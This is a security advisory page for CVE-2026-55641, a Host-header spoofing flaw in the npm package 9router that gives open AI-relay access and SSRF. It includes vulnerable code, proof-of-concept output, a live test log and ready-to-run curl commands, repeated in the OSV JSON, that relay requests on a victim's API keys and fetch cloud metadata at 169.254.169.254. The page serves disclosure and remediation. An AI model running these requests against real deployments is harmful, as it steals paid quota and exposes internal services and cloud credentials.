CVE-2026-55641: 9router Unauthenticated `/v1` Proxy Access Vulnerability

HIGH
Advisory Identifier: GHSA-86m2-fcxq-5q7c
CVSS 8.2
CWE-1327 CWE-918 CWE-348 CWE-290
Published
Advisory Summary

CVE-2026-55641 is a HIGH (CVSS 8.2) unauthenticated `/v1` proxy access vulnerability (CWE-1327: Binding to an Unrestricted IP Address) affecting 9router libraries in the npm ecosystem. The issue involves unauthenticated `/v1` proxy access via `host`-header spoofing → open ai relay + ssrf. Remediation is available by upgrading affected packages to version 0.5.2.

CVE-2026-55641 at a Glance

CVE Identifier CVE-2026-55641
GHSA Identifier GHSA-86m2-fcxq-5q7c
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-1327: Binding to an Unrestricted IP Address
Affected Product 9router
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55641

To remediate this vulnerability, upgrade all affected 9router dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

9router fixed: 0.5.2
npm install 9router@0.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls 9router

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55641, inspect your project dependencies using npm:

npm ls 9router

Analyze the terminal output to locate any version of 9router in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.2), your application is affected.

Note: The npm ls 9router command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1327: Binding to an Unrestricted IP Address, where the product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely. In 9router, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary 9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields: - **Open AI relay** — the proxy forwards the attacker's requests to AI providers using the **victim's stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim's accounts). - **Unauthenticated SSRF** — `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back. - **Affected:** `9router <= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`. - **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `<0.3.75` authz bypass). ## Details ### The bypass (`src/dashboardGuard.js`) ```js function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase(); return new Set(["localhost","127.0.0.1","::1"]).has(name); } function isLocalRequest(request){ if (!isLoopbackHostname(request.headers.get("host"))) return false; // <-- client-controlled Host const origin = request.headers.get("origin"); if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } } return true; } async function canAccessPublicLlmApi(request){ if (isLocalRequest(request)) return true; // <-- "local" => no key required if (await hasValidCliToken(request)) return true; return await hasValidApiKey(request); } ``` `isLocalRequest` never consults the **socket peer address** — only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`. ### Default exposure - `cli/cli.js:63` `const DEFAULT_HOST = "0.0.0.0";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` → reachable from the network by default. - `cli/cli.js:500,541` display `"localhost"` even when bound to `0.0.0.0` — operators believe it's local-only. - `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** → the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default. ### Relay chain (verbatim trace, 0.4.71) middleware (`src/proxy.js`, matcher covers all paths) → `canAccessPublicLlmApi` true via spoofed Host → `next.config.mjs` rewrites `/v1/:path*`→`/api/v1/:path*` → `src/app/api/v1/messages/route.js` POST → `handleChat` (no independent auth) → only gate falsy `requireApiKey` → `getProviderCredentials()` loads the victim's stored credentials → `handleChatCore` outbound fetch → response returned. **No downstream key gate.** ### SSRF chain `search.js` (only gate falsy `requireApiKey`) → `searxng` `noAuth:true` ⇒ `handleSearchCore({credentials:null})` → `coreBody.provider_options = body.provider_options` → `callers.js`: ```js export function resolveBaseUrl(config, params){ const override = getProviderSetting(params, "baseUrl"); // reads params.providerOptions.baseUrl FIRST return (override || config.baseUrl).replace(/\/+$/, ""); } ``` → `buildSearxngRequest` appends `/search?q=...&format=json&categories=general` → `fetch(url)` (server-side) → JSON reflected to caller. ## PoC Ground-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`). **Guard bypass (`hostspoof.mjs`, exit 2):** ``` attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS denied honest remote (real Host) *** ALLOWED *** SPOOF Host: localhost (no Origin) *** ALLOWED *** SPOOF Host: 127.0.0.1 *** ALLOWED *** SPOOF Host: localhost:20128 denied SPOOF Host + Origin evil (blocked) RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access. ``` **SSRF (`ssrf_search.mjs`, real imported code):** ``` [*] searxng configured baseUrl: http://localhost:8888/search [*] attacker provider_options.baseUrl: http://127.0.0.1:<port> [*] credentials passed to core: null (noAuth => key-less attacker) internal service reached by 9router process: true path hit: /search?q=x&format=json&categories=general data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}] SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL. ``` ### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness) Built & ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box's **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack: ``` (A) honest Host (the IP): POST /v1/search Host: 10.204.111.34:20128 => HTTP 401 {"error":"API key required for remote API access"} [guard blocks remote] (B) spoofed Host: localhost: POST /v1/search Host: localhost body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}} => HTTP 200, and the attacker's listener logged: [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1 => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL = unauthenticated SSRF. (B') relay path POST /v1/messages, same Host-spoof: honest Host => 401 ; Host: localhost => 404 {"error":"No active credentials for provider: openai"} => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured). ``` Changing **only** the `Host` header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See `repro/LIVE-EVIDENCE.txt`. **Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box): ```bash # Open AI relay — no Authorization/x-api-key/cookie; victim's key pays: curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}' # SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected: curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}' ``` ## Impact Any 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider). ## Recommended fix 1. Determine "local" from the **socket peer IP**, never the `Host` header — treat as local only if the TCP peer is `127.0.0.0/8` / `::1`. 2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print "localhost" when bound to all interfaces. 3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed). 4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`. 5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.

CVE-2026-55641 Affected 9router Versions

1 component(s)
Fixed Versions:
0.5.2
Product / Package Ecosystem Affected Versions Fixed Version
9router
npm
< 0.5.2
0.5.2

References

Frequently Asked Questions

What is CVE-2026-55641?
CVE-2026-55641 is a security vulnerability in 9router involving Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF under CWE-1327: Binding to an Unrestricted IP Address.
Which 9router versions are affected?
Affected versions include releases prior to 0.5.2 across affected packages: 9router.
What version fixes CVE-2026-55641?
Upgrading to 0.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is 9router affected?
Yes, 9router is affected in releases prior to 0.5.2. Upgrade your dependency to 0.5.2 or later.
What is the CVSS score of CVE-2026-55641?
CVE-2026-55641 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-55641?
CVE-2026-55641 is classified under CWE-1327: Binding to an Unrestricted IP Address (The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.).
How can I check npm dependencies for CVE-2026-55641?
Run the dependency tree command: 'npm ls 9router'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-86m2-fcxq-5q7c",
  "modified" : "2026-08-28T18:33:20Z",
  "published" : "2026-08-28T18:33:20Z",
  "aliases" : [ "CVE-2026-55641" ],
  "summary" : "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF",
  "details" : "## Summary\n\n9router's request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** — the proxy forwards the attacker's requests to AI providers using the **victim's stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim's accounts).\n- **Unauthenticated SSRF** — `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router <= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `<0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // <-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // <-- \"local\" => no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** — only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` → reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` — operators believe it's local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** → the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) → `canAccessPublicLlmApi` true via spoofed Host → `next.config.mjs` rewrites `/v1/:path*`→`/api/v1/:path*` → `src/app/api/v1/messages/route.js` POST → `handleChat` (no independent auth) → only gate falsy `requireApiKey` → `getProviderCredentials()` loads the victim's stored credentials → `handleChatCore` outbound fetch → response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) → `searxng` `noAuth:true` ⇒ `handleSearchCore({credentials:null})` → `coreBody.provider_options = body.provider_options` → `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n→ `buildSearxngRequest` appends `/search?q=...&format=json&categories=general` → `fetch(url)` (server-side) → JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>\n[*] credentials passed to core: null (noAuth => key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x&format=json&categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt & ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box's **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    => HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    => HTTP 200, and the attacker's listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1\n    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B') relay path POST /v1/messages, same Host-spoof:\n       honest Host => 401 ;  Host: localhost => 404 {\"error\":\"No active credentials for provider: openai\"}\n    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).\n```\nChanging **only** the `Host` header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}'\n\n# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \\\n  -d '{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}'\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale — all first-class features) can be:\n- used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header — treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "9router"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/decolua/9router"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/decolua/9router/releases/tag/v0.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1327", "CWE-290", "CWE-348", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:33:20Z",
    "nvd_published_at" : "2026-07-10T17:16:59Z"
  }
}